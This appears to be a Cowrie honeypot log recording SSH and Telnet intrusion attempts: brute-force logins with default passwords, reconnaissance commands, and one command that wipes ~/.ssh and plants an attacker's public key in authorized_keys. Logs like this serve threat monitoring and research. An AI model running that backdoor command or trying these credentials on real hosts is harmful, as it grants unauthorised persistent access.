{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:17.710119Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:18.202924Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:18.205521Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:18.437224Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:18.931053Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:18.933792Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:19.165900Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:19.665659Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:19.668704Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:19.903125Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:20.403959Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:20.407633Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:20.639659Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:21.145504Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:21.149182Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:21.392240Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:21.894148Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:21.897763Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:22.132706Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:22.138600Z","src_ip":"103.13.206.100","session":"2da71e1d4103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":57210,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e89c1ce9cc","protocol":"telnet","message":"New connection: 69.65.3.189:57210 (10.17.0.5:23) [session: e5e89c1ce9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:28.478045Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":44652,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceefb4f7e438","protocol":"ssh","message":"New connection: 112.217.199.222:44652 (10.17.0.5:22) [session: ceefb4f7e438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:28.582773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:28.588718Z","src_ip":"112.217.199.222","session":"ceefb4f7e438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:28.790839Z","src_ip":"112.217.199.222","session":"ceefb4f7e438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssw0rd123","message":"login attempt [postgres/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:29.612428Z","src_ip":"112.217.199.222","session":"ceefb4f7e438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:30.813796Z","src_ip":"112.217.199.222","session":"ceefb4f7e438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24348,"dst_ip":"10.17.0.5","dst_port":22,"session":"113abee6d488","protocol":"ssh","message":"New connection: 87.251.64.176:24348 (10.17.0.5:22) [session: 113abee6d488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:41.313347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:41.317124Z","src_ip":"87.251.64.176","session":"113abee6d488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:41.414472Z","src_ip":"87.251.64.176","session":"113abee6d488","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:41.703565Z","src_ip":"87.251.64.176","session":"113abee6d488","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:41.802795Z","session":"113abee6d488","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:41.899544Z","src_ip":"87.251.64.176","session":"113abee6d488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:42.003690Z","src_ip":"87.251.64.176","session":"113abee6d488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":53052,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c9b138d566a","protocol":"ssh","message":"New connection: 103.129.221.202:53052 (10.17.0.5:22) [session: 7c9b138d566a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:44.656840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:44.661179Z","src_ip":"103.129.221.202","session":"7c9b138d566a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:44.902584Z","src_ip":"103.129.221.202","session":"7c9b138d566a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"1234","message":"login attempt [ts3bot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:45.901346Z","src_ip":"103.129.221.202","session":"7c9b138d566a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:47.145977Z","src_ip":"103.129.221.202","session":"7c9b138d566a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.16729760169983,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:09.645257Z","src_ip":"69.65.3.189","session":"e5e89c1ce9cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":54446,"dst_ip":"10.17.0.5","dst_port":22,"session":"39997a296a18","protocol":"ssh","message":"New connection: 152.32.171.213:54446 (10.17.0.5:22) [session: 39997a296a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:14.528686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:14.533275Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:14.750027Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@12345","message":"login attempt [admin/admin@12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:15.651701Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:16.132410Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:16.135575Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:16.139378Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:16.359554Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:16.833591Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:16.837019Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:17.059420Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
